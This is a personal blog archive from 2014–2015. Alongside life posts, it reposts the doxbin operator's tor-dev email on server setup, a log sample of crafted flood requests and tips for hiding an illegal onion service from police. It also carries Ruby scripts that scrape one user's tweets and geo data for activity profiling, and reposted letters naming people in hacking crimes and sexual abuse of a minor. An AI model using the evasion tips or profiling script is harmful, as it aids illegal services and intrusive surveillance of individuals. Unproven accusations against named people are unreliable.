Sun, 05 Apr 2015 21:31:00 +0000

http://photos.metrotimes.com/photos-tommy-chong-at-bdts-smoke-shop/#7

![Metrotimes](/img/2015/hashbash/us in metrotimes.webp)

Well, I guess it’ll be hard to deny if anyone asks where I was April 3rd.

Me and Tommy Chong

Sat, 04 Apr 2015 13:10:00 +0000

Four Years Ago

Tue, 31 Mar 2015 19:16:00 +0000

Four years ago my divorce was finalized. In that same span of time I made a depressing discovery- The realization that there are people in this world, sometimes quite a few of them, who can’t respect you and enjoy your company at the same time.

I spent a long time abandoned by every friend and family member I had, save for a single person. I have not always made the most reasonable decisions. I still don’t. I never will. I’ll choose to be myself. Only now, I’ll also take example from an amazing and inspiring person in my life. When I find someone has so much to protest about how I live my life, I’ll promptly tell that person I’m going to live how I’m going to live and if they’re staunchly opposed they can fuck off post haste.

Insights

Mon, 30 Mar 2015 22:12:00 +0000

One of these days I’m going to get around to writing something topical. Something insightful. Something that can assist a person who’s googling fervently for an answer to a complex situation or question. One of these days.

Today is not one of those days. Today is just another useless rant about absolutely nothing at all.

Why? I dunno. It seems like any time I have something insightful to write, I don’t have time to write it. Once the urge has passed, so too has my time to write about whatever the hell had occurred to me prior. It’s an ugly cycle of “non-writing” that’s pretty much relegating this blog to “livejournal” status.

Crazy Days

Sun, 29 Mar 2015 21:02:00 +0000

I’m considering trying to move up from working for a tier three automotive supplier to either a tier one supplier or OEM. Not sure if I’ll be successful, but I certainly won’t find out until I make the attempt.

My son turns two tomorrow. He’s growing so fast. My daughter is already huge. She’s brilliant for her age, just as my son is brilliant for a toddler. I’m grateful for my kids.

Reprieve

Mon, 09 Mar 2015 21:39:00 +0000

Two days at a waterpark and one day at a casino. I’ve had ample opportunity to recharge my batteries for the coming onslaught of [potentially] bad or simply rough times ahead.

I’m finding myself having less and less time to devote to being a blog writer and webmaster. I’m glad I’ve deigned to organize this blog in such a manner that it’s incredibly “hands off”, especially since I can’t be the interactive type of Admin many web services require.

Why ARC is the Shit

Sat, 07 Feb 2015 00:00:00 +0000

Download this. Download it now. See below.

It’s now seemingly within reach to run Android apps on nearly any platform on which Chrome will run. All you need is a functioning flavor of ARC (App Runtime for Chrome).

I’ve tested it on ChromeOS, and it works. The fastest way to get set up is to download “twerk” at the link above, then grab any app that says “Also for Android” (which will automagically grab ARC for you). After that, grab your favorite APK from play store and convert it with twerk. Tons of apps work. A few don’t, but it nonetheless makes your Chromebook way more functional. Not to mention is a cool way to dick around with Android apps on any other platform.

Exhaustion

Fri, 30 Jan 2015 19:40:00 +0000

I don’t get very many full weekends off. Whenever I do, it feels like a special occasion. If I’m getting more than a day off at a time it’s usually due to holidays. I need a break. I need time to sit on my ass and be lazy, or just be domestic and do something in my house.

It feels as though I would benefit from taking a break from worrisome things. I need to avoid the news for a while; to avoid twitter and other sources of information about the world collapsing in on itself. Looking at my timeline, you’d think the sky was falling. Anti-vaxers are going to kill us all with long-dead diseases. Ebola is going to mutate and make everyone hemorrhage to death from their anuses. Bobby Jindal is going to run for president, win, and make the national religion Christianity and force prayer in school.

Wow

Thu, 29 Jan 2015 20:49:00 +0000

Everyone just do me a favor- Ignore the drunk rambling guy. He means no one any harm. He’s just having a rough few days at his place of employment and is bashing the keys on the keyboard with regrettable zeal. Yoink. Taking that one back.

Anyways. Carry on.

Pro/E - PTC Creo 3.0 Parametric

Fri, 23 Jan 2015 22:24:00 +0000

I have an educational copy of Pro/E (a.k.a. PTC Creo 3.0 Parametric). It was easy to download. It was easy to activate. It’s not all that easy to use. I get some simple concepts and such, but I really need a decent tutorial on advanced use, or at least practical application for semi-complex geometry.

In short, I need help.

If anyone knows the best resource online for beginner tutorials, I’d really appreciate it. Just email me. Or get hold of me on the about page of my blog. In any case, I’m grateful for all help provided.

Parallax Propeller Shall Swallow my Soul

Sat, 17 Jan 2015 09:38:00 +0000

Technology is incredibly pervasive these days. I’m looking at getting myself a parallax propeller chip to toy with soon. I don’t want a fully assembled kit, I’m looking at buying a 40-pin dip and a bread board. The most expensive part will be the USB Prop. If anyone out there has cool projects made in SPIN, shoot me an email. If I get into it soon I plan on putting the code and photographs, as well as electronic diagrams on my blog. I’m going to use this guide to start with. It looks like an excellent starting point that doesn’t require more than an eight dollar chip and a few bits and pieces I should already have.

Information Wars

Sun, 11 Jan 2015 12:57:00 +0000

I saw you casually glancing at me while tweeting on your MacBook Air, sipping slightly on your venti horchatté. You’re judging me for my shitty laptop running crunchbang, my disheveled appearance, and the fact that I’m drinking plain coffee. You’re elite. You’re a part of the hacktivist collective known as “Anonymous”. Or you’re part of the penetration testers who narc on anons because you believe they dilute infosec with garbage.

IDK

Fri, 09 Jan 2015 19:28:00 +0000

I guess this is just a blog post to write a blog post. It’s pretty nice to be able to write whatever the hell I want, have it available publicly, and yadda yadda.

I’ve been climbing ladders at work. It seems I’m valued (so far) by my employer. I guess I deliver on more than just promises, I innovate. I save money and increase revenue. I guess having me around is a huge bonus for them.

Ping / Cheap Histograms

Fri, 09 Jan 2015 18:53:00 +0000

Living. That’s what I’ve been busy with. But I think I’m going to share a tidbit of knowledge to the poor kids out there who either aren’t smart enough to pirate a copy of Minitab or aren’t fortunate enough to drop $1500 on statistical analysis software. I’m going to show you how to do binning with Excel (and potentially LibreOffice / OpenOffice).

Excel binning is the easiest. It’s also a great deal more flexible than Minitab.

Bleep

Thu, 01 Jan 2015 14:36:00 +0000

I’m giving Bleep a try. It’s the Bittorrent “Secure Communication App”.

No idea as to how well these people can be trusted with secure communication. It’s an appealing idea; secure distributed communication with no central point of failure. We’ll see.

If anyone has any information on security or audits done, I’d be more than happy to take a look.

For now, here’s my Bleep contact info:

96fe28f64665e5b7dec0ba85141ce33474304906c513c5e3ef65305702cc0367,redlegion

I’m also giving “Tox” a shot. ID here:

My Rant

Sat, 27 Dec 2014 22:13:00 +0000

I have yet to meet someone who claims the Christian faith and seeks knowledge.

“Have faith.”

“Just believe and it will happen.”

“You’ve got to believe.”

All of these are extinguishers. They suffocate the flame of curiosity. They satisfy the easily satisfied with half-answers. These are not things that a person who truly desires knowledge will ever find themselves saying.

I’m assaulted almost every day by every depth of stupidity that exists. I’ve seen the lowest of the low, and the commonality shared across the board is that they have brains that don’t even begin to seek answers for things. Religion is lost on them. They don’t need it, they don’t need answers. Religion is intended to control the middle ground. It was created to control the average person. A typical person will ask for the reasoning behind things. They may not feel a constant nagging in the back of their minds if that reason is not satisfactory to them. They’re likely to be able to accept that reason and move on, satisfactory or not. That’s where religion fits in.

[tor-dev] yes hello, internet supervillain here

Sat, 27 Dec 2014 16:28:00 +0000

Stumbled across this gem from nachash. Interesting read on over two years of the purest freedom of speech you can find and the effort it took to maintain.

Good stuff.

[tor-dev] yes hello, internet supervillain here

Fears No One nachash at observers.net 
Sat Nov 8 22:10:23 UTC 2014
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Sorry in advance for the length. I just want to make sure that
everything is included. If you have any questions/clarifications, just
ask. It isn't every day that someone like me pops up on tor-dev, and I
just want to make sure this is as productive and helpful as possible.
This will probably be a very humbling experience, because unlike my
fellow illegal onion operators both past and present, I will actually be
outside of a jail cell and able to read the ruthless dissection of my
set-up. On the bright side, you're all are getting way more info from me
than the pigs will ever willingly cough up, which means if they have
some sort of magic onion decloak trick, this mailing list discussion is
a good chance at finding it. All of these files are in the hands of the
cops anyway (And I have no plans of bringing doxbin back), so there are
0 real-time opsec concerns.

First, the files:

http://doxbin.strangled.net/
http://qhlkmirbijvet2dp.onion/

sha256 and sha512 checksums for all the files are at the bottom.
NOTE: This isn't my box and I didn't set it up.
WARNING: The .xz files will unpack to roughly 1 GB.

Some other info:

1. The box (An OpenVZ VPS) was hosted with Hetzner in Germany. People on
Twitter keep asking if the box was in Bulgaria, but we didn't use
Bulgaria for one simple reason: The very first doxbin box (Bought in
2011) was with a VPS company in Bulgaria. After the first month, they
said "TOR IS ILLEGAL" (I shit you not), killed the box, and kept the $5
we had paid for the 2nd month. Can't say I blame them.

2. It wasn't transproxied. We did this once before, but it became a
hassle to drop iptables rules just to upgrade tor, especially when tor
was getting regular updates semi-recently. Console access with VPS
companies generally requires java plugins or something just as gross, so
there aren't a lot of sane options here. It gets annoying when there's a
surge in the frequency of tor upgrades, so we stopped transproxying the
box. inb4 OMG OPSEC MISTAKE DETECTED!!!11

3. This script (And copypasta that contained its important parts) was
used to build nginx for the various boxes from roughly November 2011 to
mid-October 2014: http://pastebin.com/dBC7E8Jd Early versions didn't use
naxsi, and sed replaced the server banners in the source before
compiling. Yes, I know it doesn't verify the source. See the next point:

4. Around 2 weeks ago, I started grabbing dotdeb.org's source versions
of nginx and building .debs using hardening-wrapper with the following
command at the end:

DEB_CFLAGS_SET="-O2 -fstack-protector-all -fforce-addr -ffast-math
-fomit-frame-pointer -falign-functions=64 -falign-loops=32"
dpkg-buildpackage -uc -us -j8

5. The tor build was from deb.torproject.org. I'm not able to check the
box and never thought to back up /etc/apt/sources, but it used the
experimental-wheezy repo. All updates were done within 24 hours of the
new .debs going live.

6. Last but not least, the elephant in the room: The php is a
headache-inducing nightmare. I inherited the code and it worked, so I
just papered over its defects over the years (There was no anti-flood
protection originally, for example) and built it up to resemble Kowloon
Walled City expressed in php. I have a feeling that a lot of focus is
going to be placed on the code, to the detriment of finding any possible
tor bugs. In any case, everything about doxbin's setup is being
disclosed in the spirit of making this an interesting learning
experience for all parties involved.


BEGIN TINFOIL

Upon scrolling through the .xz files (I personally use xzless), you'll
find a bunch of stuff like:

 1
/%5C%22http://www.hackforums.net/code/fail/code/code/code/code/code/code/old/code/old/code/old/code/code/old/fail/fail/code/fail/fail/fail/fail/fail/fail/code/old/code/old/code/fail/fail/old/old/old/code/code/fail/fail/code/code/fail/old/code/old/old/code/code/fail/code/code/code/old/old/code/code/old/old/old/code/old/fail/fail/old/code/code/old/code/code/code/fail/code/code/code/fail/code/code/fail/fail/old/code/code/code/code/code/code/old/fail/code/code/code/old/code/fail/old/fail/code/code/fail/old/code/fail/fail/code/code/code/code/fail/fail/code/code/old/old/code/code/old/old/old/code/code/old/code/old/code/code/old/old/old/old/code/code/fail/code/old/fail/code/old/code/code/code/code/fail/code/code/code/code/code/code/old/code/code/fail/code/code/code/code/code/code/old/code/fail/fail/fail/code/fail/old/fail/old/fail/old/fail/code/code/fail/fail/fail/code/code/code/fail/code/code/old/code/code/old/fail/fail/code/old/old/fail/old/code/old/old/old/old/old/old/old/pgp.txt

All of the requests were around (If I recall correctly) 3KB in size.
Oddly enough, it caused tor to hiccup pretty badly, although the web
server itself was just fine and I didn't have any network bandwidth
problems (i.e. No obscene traffic spikes). It's also worth pointing out
that the tcp buffers weren't even close to maxed. The same box has
handled a similar volume of legitimate requests before (Namely back in
March, after The Hidden Wiki debacle; see
https://twitter.com/loldoxbin/status/530765088366821377). The solution
to getting tor availability back was to set ConstrainedSockets to 1 and
play with ConstrainedSockSize (Originally set to 8192, then 4096). This
made doxbin regularly available again, whereas before it was hit or
miss. Once the requests stopped, I waited a couple of days before
commenting those two config lines out and reloaded tor.

A month later, the same kinds of requests started coming in again. After
the first few hours, I started 301 redirecting all requests containing
/%5C%22 to the new Hidden Wiki's Hard Candy page. I also added a grep -v
to my log report script in order to filter out the noise (Possibly a
mistake, but we both tailed logs and watched for something like a
different attack style that the ddos was being used to cover and never
noticed anything). That was good enough to maintain availability, so I
rolled with it and the requests eventually stopped. I have no hard data
on that last point, just the fact that I tailed the access log and the
requests went from 5 per second to 1 every 3-6 seconds before dying off
completely.

I said on Twitter that we suspected it was a deanonymization attempt,
but I didn't elaborate why because LOL 140 CHARACTERS. Intangir (The
other admin, who took over for me from Halloween 2013 to some time
around July of this year) and I talked about it back in August and
decided that an attacker was probably involved spraying specially
crafted packets at the box in order to mess up its circuits, and
eventually get us on attacker-controlled nodes. Since we mitigated the
availability loss, we deemed it as no big deal. In hindsight, that seems
hilariously stupid/naive of us. The kid who started doxbin had a similar
theory that I'm just going to paste verbatim:

<founder> ANYWAY
<founder> i think
<nachash> CONTINUE
<founder> the attack
<founder> was to DoS you
<founder> until you created circuits
<founder> entirely made of dickbleedable nodes
<founder> and then dickbleeding them
<nachash> but the server
<nachash> got seized
<founder> yeah, the IP was discovered by dickbleed though
<founder> the entire circuit was leaking info
<nachash> lol, did you just reproduce this?
<founder> not yet, i'll be trying
<nachash> Do you mind if I share this with tor devs?
<founder> go ahead
<founder> its just a theory at the moment

If either of these theories even remotely pan out, a possible mitigation
for the next person like me (Which shouldn't require any tor dev work)
might look something like this:

1. Make several public relays and configure the torrc of the hidden
service to only make circuits which begin with those nodes. Private
bridges would be a liability in this case because anyone who figures out
the guard node by weaponizing one of attacks from a whitepaper (Which
guard nodes were modded to mitigate) will be able to find the guard node
and then quickly discover that it isn't part of the public tor network.
Public bridges might be ok, but probably less so.
2. Cross your fingers and pray really, really hard that the money trail
is correctly obscured.
3. ????
4. PROFIT! (Or lulz, in my case)

(No, the similarity between the idea of drug market operators giving
back to the network by donating nodes to the practice of drug cartels
building schools and hospitals is not lost on me)

Another thing to consider is the recommendation against running a hidden
service as a relay. Of course, the argument against doing so in the
documentation is very sound. At the same time, the FBI has stated in the
Silk Road criminal complaint that upon finding the IP, the investigator
verified that it wasn't a tor node and knew he had won the onion
lottery. Of course, that could still be psyops/parallel construction
garbage to scare people into making their jobs a little easier, but it's
something to thing about.

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Here We Go, Yet Again

Sat, 27 Dec 2014 16:02:49 +0000

It looks like I’ve made some people a little cranky. Someone thought it would be humorous to throw some UDP traffic my way, which about 10gb managed to get through and interrupt a bit of traffic for my provider.

Don’t worry, kids, I won’t be taking shortcuts any longer. No easy-to-spot domain pointers to the man behind the curtain. You’re not going to see anything but content delivery network from here on out. No PHP, no server-side execution other than simple page delivery.

Tweet Time Histogram

Thu, 25 Dec 2014 21:01:00 +0000

I’ve figured out an easy way to get at interesting data. First I fire up the tweet nabber written in ruby, then run this cheap piece of crap and extract only time data from tweets pulled.

After getting the time data, I open the *.csv in Minitab and create a histogram with it. I then have the frequency with which a person tweets over 3k tweets by time, so I can approximate when they’re most active throughout the day based on my relative time zone.

Dear my "brother" Sabu

Tue, 23 Dec 2014 22:38:00 +0000

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Dear my "brother" Sabu.

Greetings from the real world. You know, where cause and consequence
reign free and mighty. I'll send you a postcard sometime. Anyway... How
is being a human bidet for the FBI treating you? The very people you
taught the young and impressionable to hate. I heard you now have a job
as a security consultant? That sounds fun. Life is looking pretty cosy
for you currently. Hey, talking of cosy; It's Jeremy Hammonds birthday
soon, January the 8th. I was considering sending him book or something
because, from experience, jail isn't too cosy and he could do with
things to do to pass the time. After all, 10 years is a hell of a stint
for jail, paedophiles and rapists get less.

Do you remember Jeremy at all? He's one of the people you set up and
sold out to save yourself. But enough about Jeremy, let's talk about you
Hector. I can tell you love talking about good old Sabu lately after
all.

I must admit that after the initial sting at the realisation of what you
did over our time spent communicating, I haven't thought about you much.
I feel a strong sense of injustice over what happened and the way things
went, but as a general rule it's a case of 'out of sight, out of mind'.
But then you started popping up on my time line - 'Sabu has attended
VICE as a VIP.' ' Sabu is doing an interview for CBS news.' 'Sabu speaks
about his days of hacking for CNET.' You get the point.

So I watch, and I have to be honest, even though you did what you did I
was still kind of half expecting a show of remorse or even an acceptance
for what you did. Something, anything. But it was like wishing from
blood from a stone. You tried to rationalise what you did and you
outright lied. You flaunt yourself on TV making yourself out to be some
kind of modern day hero, asking who will guard the guards and various
other bullshit. Let's not forget Hector, we had to endure your bullshit
for a long time and we know exactly what you are.

Remember the time Jake and Mustafa wanted to walk away? You knew Jake
was young as you had spoken to him numerous times via voice chat. It was
too much and they didn't want to be a part of it any more. But Big-Bad
Sabu came out and you raged at them in IRC. I asked you to back off them
but you wouldn't, and so Jake and Mustafa stayed around longer than they
wanted and got deeper than they had ever intended. You actively pulled
children back into a world of crime to continue something they didn't
even want to do. You are a bully and a criminal and the only person who
was caught who hasn't paid a sufficient price for what you did. You were
the worst of all of us. The knowledge you lacked in technical ability
you made up for in manipulation and a big loud mouth with the ability to
coax people into doing things. Using your online persona and charismatic
ways to adjust peoples view on things to what you were trying to spin at
the time. Pure peer pressure. Nobody, especially the children you
dragged in, could say no to you or you would attempt to scare them. 

You were caught but instead of taking responsibility, you bent over and
let the FBI take turns at riding you out. "Mastermind" (I laugh every
time.) you are not, but a manipulating conductor of targets and
(admittedly) persuasive and entirely convincing social engineer you are. 
Jeremy and I were mostly happy exploring and reporting exploits if you
remember correctly. Sure, we had some lulz along the way, but who's idea
was it to go for big targets for pure self gain? Credit cards, the
dumping of personal information, ruining of lives. This was all on the
Great Sabu. Is this what masterminding a group is? Just telling people
to be bigger shits than they need to be on the Internet but doing non of
it himself? Backing people into corners and claiming you had a hand in
any of it other than setting people up to do your dirty work.
The only thing you masterminded was your own freedom by coercing and
manipulating Jeremy and I into doing things you couldn't do. You
manufactured these scenarios and targets to make us look like bigger
threats than we ever were or would have been without your constant
pushing. Yes, we were able to do these things, but we had no intention
of doing so without you orchestrating a few targets and spinning some
crap reasons of why. Constantly giving us speeches of why we should do
these things and using our weakness of wanting to spread concerns about
security against us. You wanted us to flex our abilities in front of you
so you could log it and go crying back to the FBI in order for them to
fear us more than they feared you; you turned what we were doing into
something much more sinister so that they thought that apprehending us
was more in their interests than putting you in jail. All so you could
go back home and take selfies of yourself for the media.

If the authorities have anything to fear, it isn't our skills (although,
people should fix their shit. Seriously. For every ones sake.) it's
people like you who run their mouth and rile the impressionable up to a
point of anger, using your charismatic way of exciting people into a
false sense of revolution. Whilst all you care about is yourself and
your ulterior motives. We were interested in the way things work and our
want and our need to learn and penetrate so-called secure systems
clouded our judgement of your real intentions. I take full
responsibility for what I have done. I've served my time in jail, I was
tagged, I'm on probation, I have restrictions that hinder my general
progress towards a career but I have accepted the punishment - so if you
think that this is me trying to offshoot any blame, then don't. I know
what I've done. I actually feel most shame for some of the things I said
to people along the way and lives I effected more than anything. But you
have taken exactly ZERO responsibility for any of this.

So who are you Hector? 'Legendary hacker' ? 'leader of anonymous and
Lulzsec' ? You would have functioned better as a cult leader. Pushing,
pressuring and preying on younger and smarter people than yourself and
running them into the ground. If all you did was relay information for
the FBI and steal credit card details (which you didn't even do. You got
us to do it for you.) then what is your purpose anyway? Since most of
the words you spun us were under influence of the FBI you couldn't have
meant any of it considering you were just trying to get us to do things
to report. You don't care about movements or activism or rights, because
you try sell out anybody who does. You know a few good tricks but as a
general rule your hacking know-how is quite limited. So who are you
Hector Xavier Monsegur and why are you on TV? Because I spent quite a
while getting to know you, and all I see is a coward and a fraud.

"I would stay away from anonymous" says ANONYMOUSabu who riled up
thousands to hate authorities and even tried to incite violence towards
them.

"It was too much publicity" says the person whose main focus was to talk
shit on twitter.

"They knew my weakness was my kids" says the man who I continuously
warned to back away from all of this and never come back, for your kids
sake. I tried to protect those kids way before you even tried to use
them as a reason for saving yourself and betraying your friends. I
wouldn't blame you for choosing your children over your friends if it
saved them from going into the system, any sane person would - but I do
blame you for putting crime before your children in the first place. It
should have never come down to that decision to begin with and you know
I told you this countless times. Spinning your kids as a reason for
being a coward is idiotic and false and makes you look desperate to try
rationalise what you did.

'helped intercept attacks and share them with the government' - attacks
that YOU initially thought up, so you didn't prevent anything, you just
suggested something and when we spoke about it you relayed what
information we gathered and you put an end to it and avoided nearly 30
years in prison? Wow. You certainly are an American hero, a (what was it
you said?) "inspiration" to people. I, for one, can't wait to teach my
children to set my friends up and help the FBI entrap. A true role model
to all.

"it wasn't a situation where I identified anybody. I didn't point my
fingers at anybody." - I'll let the FBI handle this one:
"monsegur also provided crucial and detailed information about the
formation, organisation, hierarchy and membership of these hacking
groups, as well as specific information about their planning and
execution of many major cyber attacks, including the specific roles of
his co-conspirators in committing those crimes."
"Monsegur assists law enforcement in identifying and locating lulzsec
members and affiliates. In addition to this crucial historical
information, Monsegur proactively cooperated with ongoing Government
investigations. Working sometimes literally around the clock, at the
direction of the law enforcement. Monsegur engages his co-conspirators
in online chats and were critical to confirming their identities and
whereabouts."
So the FBI were wrong? In that case surely you can go join Jeremy in
jail as because snitching on your 'brothers' is the only reason you're
at home eating doughnuts right now.

I won't babble on any more because but I will ask you, respectfully, to
stop talking so much shit and own up to something (preferably something
that you actually did and not somebody else. Claiming responsibility to
make yourself looked more skilled than you are is just strange Hector.)
You're on TV giggling like a little school girl about how you used to
hack free AOL Internet as a child as Jeremys talent rots away in jail by
your hand.

Oh, before I forget and obviously completely unrelated - what is the
legal age of sexual consent over there? 18? How old did you think I was?
16? You weren't the only one who kept logs Hector.
Be a decent human for once in your life and find that hole to crawl back
into instead of rubbing what you did in peoples faces.

Yours respectfully,
Your "brother" Ryan.

(@APT1337)

Same Shit, Different Day

Tue, 23 Dec 2014 22:24:00 +0000

I’ve walked away from the Internet almost entirely for nearly five months. I left it, in good conscience, in order to improve my life. I spent so much time and effort interfacing with this amazing invention that connects people. In effect I was able to form connections to others whom exist in social spheres I’m wholly extant from.

I was immediately filled with disgust. “th3j35t3r”, yellow ribbons, Bradley Manning hate, “Ed Snowden IS A TURRURIST!” babble bullshit… These are all opinions held by individuals in the fanbase of “information security”.

Atheism is Neutral Ground

Mon, 22 Dec 2014 21:00:00 +0000

It’s time to address a situation that has needed attention for many years now. With our nation being a diverse melting pot of an immense number and variety of loons, we’re facing an ever-increasing amount of tension. Most of this tension seems to emanate from religious factions that maintain opposing belief systems.

If you were to drive around Dearborn, MI, you’d notice one thing; Your white, Christian, pasty ass would be the minority. Dearborn is the Islamic capital of the USA, just about. It has also been one of the most scrutinized cities by the Department of Homeland Security in their quest to profile and label every non-Christian in the USA.

Return of the Asshat

Sun, 21 Dec 2014 12:07:00 +0000

The blog has been down a while. I know. I suck. I get that, I really do. My computer took a shit. CPU fan died. Those things are a bitch when they’re fixtured to the motherboard. I had to completely disassemble this piece of shit. At least I made it worth my while. Installed a 120mm radiator / water-block closed circuit water cooling system instead of a shitty typical fan.

"Trolling"

Sat, 02 Aug 2014 22:47:00 +0000

Meh. “Trolling”. Yeah. No, grow up. It’s not trolling. It’s only offensive in how blatant and immature it is. Trolling is a art. This isn’t trolling, it’s emo attention-whoring.

Oh well. Maybe if more kid’s dads paid attention to them growing up we wouldn’t have so many irritating little shits running around begging for attention.

Grab Bag

Thu, 24 Jul 2014 22:29:00 +0000

A Message to All My MFC Friends, and Anyone Who Will Listen:

Fri, 04 Jul 2014 11:50:00 +0000

I know a lot of you have seen me going back and forth being upset and
posting absolutely insane rants at points, and a lot of you have heard
me telling stories about my infamous ex, drunkenly ranting about him in
my room on occasion, telling you to “Know your Heroes” and all these
things. But now I feel I owe you an explanation. 
I lost my virginity at 15, to a man named Deric Lostutter. That name
sound familiar to you? You may also know him as KYAnonymous, the so
called member of anonymous who brought much publicity to the
steubenville rape case and was then raided by the FBI and blown up by
the press for being some saviour for rape vicitims everywhere. Brad
Pitt’s movie studio supposedly bought the rights to make a movie about
his story in Rolling Stone, he was in esquire, all over the internet,
and all that would be so utterly interesting to me if he wasn’t a total
fraud.
 
I lost my virginity with his hand over my mouth, telling me it wouldn’t
always hurt like this, but to let him finish and I would be ok. I said
yes, but when I said no, he pushed down harder and ignored anyone my
struggles to remove him. Some may say that was rape. Some may say I
asked for it, especially because I dated him for another two years and
continued to fall back into old habits with him for nearly seven years
after that, But I know that no matter how you classify that, the things
he did were wrong. For two years he could call me up, bend me over and
send me on my way any time he wanted. He introduced me to the BDSM world
and became my Dom, and I his Sub, and eventual slave, (titles and all,
not that I was allowed to talk about it, mind you.) at 15 years old. He
cheated on me with no less than 14 different girls, some younger, some
older, and I am sure there are more that I never even knew about.
 
he is a scum bag. I have heard and witnessed so many things that he has
done to other women over the years. Disgusting things. And I have kept
silent for so long, getting a snide comment in here or there where I
could.
 
But yesterday, after posting one of my usual pointed arguments about his
flip flopping on political and social view, and his manipulation of his
“fans” he retaliated. He sent his family and friends to harass me,
insult me my child my family, threatened very pointedly to expose my cam
site to the public, and when I didn’t back down, he followed through. 
 
on his public facebook page, with nearly 6,000 followers, he posted my
full real name, alone with my camming twitter, and a message to his
followers to go defend him. Unfortunately for me, though he deleted that
post, it was shared across facebook and also screen shot and posted on
twitter.
 
thankfully I did not get the trolls I expected, and I have had so many
people defending me, supporting me, and it has lead me to come to this
conclusion. I am done hiding what he did to me.
 
The man is disgusting. And he may never actually pay for his crimes by
the laws standards, But I am tired of hiding the things he did to me,
and other girls have started coming forward as well telling me stories
of the things he did to them as well.
 
I also want to apologize to all of you. I keep you in the dark about a
lot of my personal life. and I am very private about so many things. But
I’m done disappearing. I’m done hiding and I’m really done living my
life in fear of what the world will think of me. So please help me
spread the word. Know your heroes. this man is a fraud, an abuser, and a
liar, and though you can commend his public actions, he should be
stopped from leaching off the fame of a rape victim any longer and put
back into his place of shame.
 
below are a couple articles about him, on BOTH sides, so you don’t think
I’m just trying to make you believe I’m a victim. I am not a victim. I
have an incredible life and I have grown so much since all the things he
did to me. But I also think you all can see the truth as I do.
 
this is the rolling stone Article from the height of his fame:
 
http://www.rollingstone.com/culture/news/anonymous-vs-steubenville-20131127
 
This is an article by Don Carpenter, a Journalist who has been posting
the other side of things since this all started (though deric fervently
tries to refute despite his lawyers warnings to lay low):
 
http://www.mobilebroadcastnews.com/NewsRoom/Don-Carpenter/Deric-LostutterKy-Anonymous-Arrested-and-Caught-Lying-Again
 
I really hope you all support me, and help spread the word about this
man. And thank you all for being there for me through a lot of this,
even if you didn’t know it was going on.

Reblogged from: http://awkwardsexnsuch.tumblr.com/post/90387408121/a-message-to-all-my-mfc-friends-and-anyone-who-will

Ready, dead, go.

Wed, 02 Jul 2014 22:22:00 +0000

I’m wearing down pretty quickly. Mandatory overtime isn’t enjoyable. It’s coming at me steady and fast. I’m told I’ll have help. I’m told they’ll hire another person. That extra help never comes. Nothing gets easier. I just fall further behind. It’s tiring. I’m bored with it. I’m ready to move on to bigger and better things. I’m ready to get my life moving in a direction I want it to move.

Palestinian Children Murdered Since 2000

Mon, 09 Jun 2014 16:02:00 +0000

Total Palestinian children killed at the hands of Israeli police forces between 2000-2014:
1,397

Total US children murdered in the same time span:
7,437

What the flying fuck, people? How is this acceptable in any way? Let’s look at more numbers, shall we?

4.44 million people. 0.03% of the ENTIRE population.

Twitter OSINT Strategies

Sun, 25 May 2014 12:46:00 +0000

My current tweet dumper iteration dumps everything collected into a flat file. That’s fine for intermittent use, but won’t do much good when we eventually get into the “big leagues” and start grabbing at streams of data that will include above and beyond 3200 tweets. Flat files will quickly swell to sizes that are no longer manageable.

Wat do.

Well, there are hundreds of “database backend” options. Literally hundreds. We’re inevitably going to be storing tweets from various sources with multiple goals in mind. A veritable forest of *.csv files doesn’t neatly organize our data. SQLite3 will provide the backend. It’s local, zero configuration required, and we can concentrate all our information into a single file with multiple tables.

Ruby Tweet Scraper v.02

Thu, 22 May 2014 22:20:00 +0000

I’ve made improvements to the tweet dumper. Added geo information. Also added progress bar, so check gem requirements.

#!/bin/env ruby
# encoding: utf-8

require 'twitter'
require 'csv'
require 'progressbar'

client = Twitter::REST::Client.new do |config|
	config.consumer_key = "YoursHere"
	config.consumer_secret = "YoursHere"
	config.access_token = "YoursHere"
	config.access_token_secret = "YoursHere"
end

scrname = String.new ARGV[0]

def collect_with_max_id(collection=[], max_id=nil, &block)
 response = yield(max_id)
 collection += response
 response.empty? ? collection.flatten : collect_with_max_id(collection, response.last.id - 1, &block)
end

def client.get_all_tweets(user)
 twtcount = user(user).statuses_count
 if twtcount > 3200
 twtcount = 3200 / 200
 else
 twtcount = twtcount / 200
 end
 pbar = ProgressBar.new("Downloading", twtcount)
 collect_with_max_id do |max_id|
 pbar.inc
 options = {:count => 200, :include_rts => true}
 options[:max_id] = max_id unless max_id.nil?
 user_timeline(user, options)
 end
end

junk = client.get_all_tweets(scrname)

CSV.open("#{scrname}.csv", "w") do |csv|
	junk.each do |tweet|
		csv << [tweet.id, tweet.created_at, tweet.user.screen_name, tweet.text, tweet.source, tweet.geo]
	end
end

I don’t comment. Sorry. I guess I can go back through and comment where it’s helpful and repost another time. It works with Ruby 1.9.2 anyways.

Ruby Twitter Scraper

Wed, 21 May 2014 22:13:00 +0000

Requires the twitter gem. Install it as per usual. Code as follows:

#!/bin/env ruby
# encoding: utf-8

require 'twitter'
require 'csv'

client = Twitter::REST::Client.new do |config|
	config.consumer_key = "insert"
	config.consumer_secret = "insert"
	config.access_token = "insert"
	config.access_token_secret = "insert"
end

def collect_with_max_id(collection=[], max_id=nil, &block)
 response = yield(max_id)
 collection += response
 response.empty? ? collection.flatten : collect_with_max_id(collection, response.last.id - 1, &block)
end

def client.get_all_tweets(user)
 collect_with_max_id do |max_id|
 options = {:count => 200, :include_rts => true}
 options[:max_id] = max_id unless max_id.nil?
 user_timeline(user, options)
 end
end

junk = client.get_all_tweets(ARGV[0])

CSV.open("#{ARGV[0]}.csv", "w") do |csv|
	junk.each do |tweet|
		csv << [tweet.id, tweet.created_at, tweet.user.screen_name, tweet.text, tweet.source, tweet.geo]
	end
end

Excellent. I’m going to revise it as necessary, but it’s a most effective scraper. Though I’d love to add some sort of progress bar to it, haven’t succeeded in that yet. I’ll keep you posted and update it as the iterations of this thing change. It was smashed together from the twitter gem’s bare scraper and CSV output added. I’m quite pleased. Going to also consider adding time and date statistics compilation. I might just write an entirely separate script for that. Not sure yet.

Envy Code R

Sun, 18 May 2014 20:36:00 +0000

This is pretty excellent. Check it out.

It’s called “Envy Code R”, you can grab it here.

I might use this as my “hosted font of choice” for rendering scripts and the like. It’s pretty damn cool.

(╯°□°）╯︵ ┻━┻

Sun, 18 May 2014 13:58:00 +0000

If you’re in the automotive manufacture industry, you’re pretty familiar with re-certification. It’s that time of year everyone panics and freaks the fuck out about either surveillance or re-cert audits, works seven days a week, ten hour days, and has a mild heart attack over every misspelling or problematic procedure in the control documents for their company.

